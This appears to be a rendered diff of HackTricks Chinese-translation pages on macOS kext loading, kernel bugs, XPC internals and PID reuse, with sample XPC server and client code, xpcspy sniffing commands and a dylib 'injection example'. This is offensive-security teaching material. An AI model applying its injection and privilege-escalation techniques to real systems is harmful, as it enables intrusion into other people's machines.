* 它将与**`syspolicyd`**通信以**检查**是否可以**加载**扩展 * 它将与 **`syspolicyd`** 进行通信以 **检查** 扩展是否可以 **加载**
3. **`syspolicyd`** 将**提示用户**,如果扩展之前未加载。 3. **`syspolicyd`** 将 **提示** **用户** 如果扩展尚未被加载。
* **`syspolicyd`** 将结果报告给**`kextd`** * **`syspolicyd`** 将结果报告给 **`kextd`**
4. **`kextd`** 最终将能够告诉内核**加载**扩展 4. **`kextd`** 最终将能够 **告诉内核加载** 扩展
如果**`kextd`**不可用,**`kextutil`**可以执行相同的检查。 如果 **`kextd`** 不可用,**`kextutil`** 可以执行相同的检查。
## References ## 参考文献
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/) * [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo) * [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* 您在**网络安全公司**工作吗想要在HackTricks上宣传您的**公司**吗?或者想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 探索我们独家的[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 获取官方的[PEASS和HackTricks**周边产品**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**或[**电报群**](https://t.me/peass),或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)发送PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# macOS内核漏洞 # macOS 内核漏洞
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) ## [攻陷 OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**在这份报告中**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) 解释了几个漏洞,这些漏洞允许入侵内核并威胁软件更新程序。\ [**在此报告中**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) 解释了几种漏洞,这些漏洞允许通过软件更新程序来破坏内核。\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722). [**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,47 +1,47 @@
# macOS XPC # macOS XPC
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零到英雄学习AWS黑客技术通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上**进程间通信**的框架。XPC提供了一种机制用于在系统上的不同进程之间进行**安全的、异步的方法调用**。它是苹果安全范式的一部分,允许**创建权限分离的应用程序**,其中每个**组件**仅运行具有执行其工作所需的**权限**,从而限制了被攻破进程的潜在损害。 XPC即 XNUmacOS 使用的内核)进程间通信,是一个用于 macOS 和 iOS 上 **进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上不同进程之间进行 **安全的异步方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制被攻陷进程可能造成的损害。
XPC使用一种进程间通信IPC的形式这是一组方法用于在同一系统上运行的不同程序之间发送数据。 XPC 使用一种进程间通信IPC的形式这是一组方法允许在同一系统上运行的不同程序相互发送数据。
XPC的主要好处包括: XPC 的主要优点包括:
1. **安全性**:通过将工作分离到不同的进程中,每个进程可以只被授予它所需的权限。这意味着即使一个进程被攻破,它造成的危害也有限。 1. **安全性**:通过将工作分离到不同的进程中,每个进程只能被授予其所需的权限。这意味着即使一个进程被攻陷,它的危害能力也有限。
2. **稳定性**XPC有助于将崩溃隔离到发生它们的组件中。如果一个进程崩溃,它可以被重启而不影响系统的其余部分 2. **稳定性**XPC 有助于将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以在不影响系统其余部分的情况下重新启动
3. **性能**XPC允许轻松并发因为不同的任务可以在不同的进程中同时运行。 3. **性能**XPC 允许轻松并发,因为不同的任务可以在不同的进程中同时运行。
唯一的**缺点**是将应用程序分割成几个进程通过XPC进行通信是**效率较低**的。但在今天的系统中这几乎是不明显的,而且好处更大 唯一的 **缺点****将应用程序分离为多个进程** 通过 XPC 进行通信的效率 **较低**。但在今天的系统中,这几乎是不可察觉的,且其好处更为明显
## 特定应用程序的XPC服务 ## 应用特定的 XPC 服务
应用程序的XPC组件位于**应用程序本身内部**。例如在Safari中您可以在\*\*`/Applications/Safari.app/Contents/XPCServices`**找到它们。它们有扩展名**`.xpc`**(如**`com.apple.Safari.SandboxBroker.xpc`**),并且**也是包含主二进制文件的包\*\*`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 和 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` 应用程序的 XPC 组件是 **在应用程序内部**。例如,在 Safari 中,您可以在 **`/Applications/Safari.app/Contents/XPCServices`** 中找到它们。它们的扩展名为 **`.xpc`**(如 **`com.apple.Safari.SandboxBroker.xpc`**),并且 **也与主二进制文件捆绑** 在一起`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` 和 `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
正如您可能在想的,一个**XPC组件将具有不同的权利和权限**与其他XPC组件或主应用程序二进制文件不同。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下XPC服务将在**与调用它的应用程序相同的安全会话中运行**。 正如您可能想到的,**XPC 组件将具有不同的权限和特权**,与其他 XPC 组件或主应用程序二进制文件不同。除非 XPC 服务在其 **Info.plist** 文件中配置了 [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) 设置为“True”。在这种情况下XPC 服务将在 **与调用它的应用程序相同的安全会话中运行**
XPC服务由**launchd**在需要时**启动**,并在所有任务**完成**后**关闭**,以释放系统资源。**特定应用程序的XPC组件只能由应用程序使用**,从而降低了潜在漏洞相关风险。 XPC 服务由 **launchd** 在需要时 **启动**,并在所有任务 **完成****关闭** 以释放系统资源。**应用程序特定的 XPC 组件只能由该应用程序使用**,从而降低与潜在漏洞相关的风险。
## 系统范围的XPC服务 ## 系统范围的 XPC 服务
系统范围的XPC服务对所有用户都可访问。这些服务无论是launchd还是Mach类型都需要在指定目录中的plist文件中**定义**,例如\*\*`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`\*\*。 系统范围的 XPC 服务对所有用户可用。这些服务,无论是 launchd 还是 Mach 类型,都需要在指定目录中的 plist 文件中 **定义**,例如 **`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`** 或 **`/Library/LaunchAgents`**。
这些plist文件将有一个名为\*\*`MachServices`**的键,带有服务的名称,以及一个名为**`Program`\*\*的键,带有二进制文件的路径:
这些 plist 文件将具有一个名为 **`MachServices`** 的键,包含服务的名称,以及一个名为 **`Program`** 的键,包含二进制文件的路径:
```xml ```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -75,16 +75,66 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict> </dict>
</plist> </plist>
``` ```
The ones in **`LaunchDameons`** 是由 root 运行的。因此,如果一个无权限的进程可以与其中一个进行通信,它可能能够提升权限。
**`LaunchDameons`** 中的服务是由 root 运行的。因此,如果一个非特权进程能够与其中一个服务通信,它可能能够提升权限。 ## XPC 对象
* **`xpc_object_t`**
每个 XPC 消息都是一个字典对象,简化了序列化和反序列化。此外,`libxpc.dylib` 声明了大多数数据类型,因此可以确保接收到的数据是预期的类型。在 C API 中,每个对象都是 `xpc_object_t`(其类型可以使用 `xpc_get_type(object)` 检查)。\
此外,函数 `xpc_copy_description(object)` 可用于获取对象的字符串表示,这对于调试目的非常有用。\
这些对象还具有一些可调用的方法,如 `xpc_<object>_copy`、`xpc_<object>_equal`、`xpc_<object>_hash`、`xpc_<object>_serialize`、`xpc_<object>_deserialize`...
`xpc_object_t` 是通过调用 `xpc_<objetType>_create` 函数创建的,该函数内部调用 `_xpc_base_create(Class, Size)`,其中指明了对象的类类型(`XPC_TYPE_*` 之一)和大小(额外的 40B 将被添加到大小以用于元数据)。这意味着对象的数据将从偏移量 40B 开始。\
因此,`xpc_<objectType>_t` 是 `xpc_object_t` 的一种子类,后者将是 `os_object_t*` 的子类。
{% hint style="warning" %}
请注意,应该由开发者使用 `xpc_dictionary_[get/set]_<objectType>` 来获取或设置键的类型和实际值。
{% endhint %}
* **`xpc_pipe`**
**`xpc_pipe`** 是一个 FIFO 管道,进程可以用来进行通信(通信使用 Mach 消息)。\
可以通过调用 `xpc_pipe_create()``xpc_pipe_create_from_port()` 创建 XPC 服务器,以使用特定的 Mach 端口创建它。然后,要接收消息,可以调用 `xpc_pipe_receive``xpc_pipe_try_receive`
请注意,**`xpc_pipe`** 对象是一个 **`xpc_object_t`**,其结构中包含有关使用的两个 Mach 端口和名称(如果有)的信息。例如,守护进程 `secinitd` 在其 plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` 中配置了名为 `com.apple.secinitd` 的管道。
**`xpc_pipe`** 的一个示例是 **bootstrap pip**e由 **`launchd`** 创建,使得共享 Mach 端口成为可能。
* **`NSXPC*`**
这些是 Objective-C 高级对象,允许对 XPC 连接进行抽象。\
此外,使用 DTrace 调试这些对象比前面的对象更容易。
* **`GCD 队列`**
XPC 使用 GCD 传递消息,此外它生成某些调度队列,如 `xpc.transactionq`、`xpc.io`、`xpc-events.add-listenerq`、`xpc.service-instance`...
## XPC 服务
这些是位于其他项目的 **`XPCServices`** 文件夹中的 **`.xpc`** 扩展包,在 `Info.plist` 中,它们的 `CFBundlePackageType` 设置为 **`XPC!`**。\
该文件具有其他配置键,如 `ServiceType`,可以是 Application、User、System 或 `_SandboxProfile`,可以定义沙箱或 `_AllowedClients`,可能指示与服务联系所需的权限或 ID。这些和其他配置选项在服务启动时将有助于配置服务。
### 启动服务
应用程序尝试使用 `xpc_connection_create_mach_service` **连接** 到 XPC 服务,然后 launchd 定位守护进程并启动 **`xpcproxy`**。**`xpcproxy`** 强制执行配置的限制,并使用提供的 FDs 和 Mach 端口生成服务。
为了提高 XPC 服务搜索的速度,使用了缓存。
可以使用以下方式跟踪 `xpcproxy` 的操作:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
The XPC library 使用 `kdebug` 来记录调用 `xpc_ktrace_pid0``xpc_ktrace_pid1` 的操作。它使用的代码是未记录的,因此需要将其添加到 `/usr/share/misc/trace.codes` 中。它们的前缀是 `0x29`,例如其中一个是 `0x29000004`: `XPC_serializer_pack`。\
实用程序 `xpcproxy` 使用前缀 `0x22`,例如:`0x2200001c: xpcproxy:will_do_preexec`。
## XPC 事件消息 ## XPC 事件消息
应用程序可以**订阅**不同的事件**消息**,使它们能够在这些事件发生时**按需启动**。这些服务的**设置**是在 **launchd plist 文件**中完成的,这些文件位于**与前面提到的目录相同**,并包含一个额外的 **`LaunchEvent`** 键。 应用程序可以 **订阅** 不同的事件 **消息**,使其能够在发生此类事件时 **按需启动**。这些服务的 **设置****launchd plist 文件** 中完成,位于 **与之前相同的目录**,并包含一个额外的 **`LaunchEvent`** 键。
### XPC 连接进程检查 ### XPC 连接进程检查
当一个进程尝试通过 XPC 连接调用方法时,**XPC 服务应该检查该进程是否被允许连接**。以下是常见的检查方式和常见的陷阱: 当一个进程尝试通过 XPC 连接调用一个方法时,**XPC 服务应该检查该进程是否被允许连接**。以下是检查的常见方法和常见陷阱:
{% content-ref url="macos-xpc-connecting-process-check/" %} {% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/) [macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
@ -92,7 +142,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
## XPC 授权 ## XPC 授权
苹果还允许应用程序**配置一些权限以及如何获取它们**,所以如果调用进程拥有这些权限,它将被**允许调用** XPC 服务的方法: 苹果还允许应用程序 **配置一些权限以及如何获取它们**,因此如果调用进程拥有这些权限,它将 **被允许调用** XPC 服务中的方法:
{% content-ref url="macos-xpc-authorization.md" %} {% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md) [macos-xpc-authorization.md](macos-xpc-authorization.md)
@ -100,8 +150,7 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
## XPC 嗅探器 ## XPC 嗅探器
要嗅探 XPC 消息,你可以使用 [**xpcspy**](https://github.com/hot3eed/xpcspy),它使用了 **Frida** 要嗅探 XPC 消息,可以使用 [**xpcspy**](https://github.com/hot3eed/xpcspy),它使用 **Frida**
```bash ```bash
# Install # Install
pip3 install xpcspy pip3 install xpcspy
@ -112,8 +161,9 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output) ## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
``` ```
另一个可能使用的工具是 [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html)。
## XPC 通信 C 语言示例 ## XPC 通信 C 代码示例
{% tabs %} {% tabs %}
{% tab title="xpc_server.c" %} {% tab title="xpc_server.c" %}
@ -224,15 +274,8 @@ return 0;
</dict> </dict>
</plist> </plist>
``` ```
{% endtab %}
``` {% endtabs %}
</div>
</div>
```
```bash ```bash
# Compile the server & client # Compile the server & client
gcc xpc_server.c -o xpc_server gcc xpc_server.c -o xpc_server
@ -252,8 +295,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
``` ```
## XPC 通信 Objective-C 代码示例
### XPC 通信 Objective-C 代码示例
{% tabs %} {% tabs %}
{% tab title="oc_xpc_server.m" %} {% tab title="oc_xpc_server.m" %}
@ -356,27 +398,26 @@ return 0;
``` ```
{% endtab %} {% endtab %}
{% endtabs %} {% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client # Save server on it's location
cp oc_xpc_server /tmp
## Save server on it's location # Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
cp oc\_xpc\_server /tmp # Call client
./oc_xpc_client
## Load daemon # Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Call client ## 客户端在 Dylb 代码中
./oc\_xpc\_client
## Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
````
## 客户端在 Dylb 代码内
```objectivec ```objectivec
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib // gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example: // gcc injection example:
@ -409,20 +450,38 @@ NSLog(@"Done!");
return; return;
} }
```` ```
## Remote XPC
此功能由 `RemoteXPC.framework`(来自 `libxpc`)提供,允许通过不同主机进行 XPC 通信。\
支持远程 XPC 的服务在其 plist 中将具有键 UsesRemoteXPC就像 `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` 的情况一样。然而,尽管该服务将与 `launchd` 注册,但提供该功能的是 `UserEventAgent`,其插件为 `com.apple.remoted.plugin``com.apple.remoteservicediscovery.events.plugin`
此外,`RemoteServiceDiscovery.framework` 允许从 `com.apple.remoted.plugin` 获取信息,暴露的函数包括 `get_device`、`get_unique_device`、`connect`...
一旦使用 connect 并收集到服务的 socket `fd`,就可以使用 `remote_xpc_connection_*` 类。
可以使用 cli 工具 `/usr/libexec/remotectl` 获取有关远程服务的信息,使用的参数包括:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services
/usr/libexec/remotectl dumpstate # Like dump withuot indicateing a servie
/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port
...
```
BridgeOS与主机之间的通信通过专用的IPv6接口进行。`MultiverseSupport.framework`允许建立套接字,其`fd`将用于通信。\
可以使用`netstat`、`nettop`或开源选项`netbottom`找到这些通信。
{% hint style="success" %}
学习与实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endtab %} {% endhint %}
{% endtabs %}

View file

@ -1,39 +1,40 @@
# macOS PID 重用 # macOS PID 重用
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## PID 重用 ## PID 重用
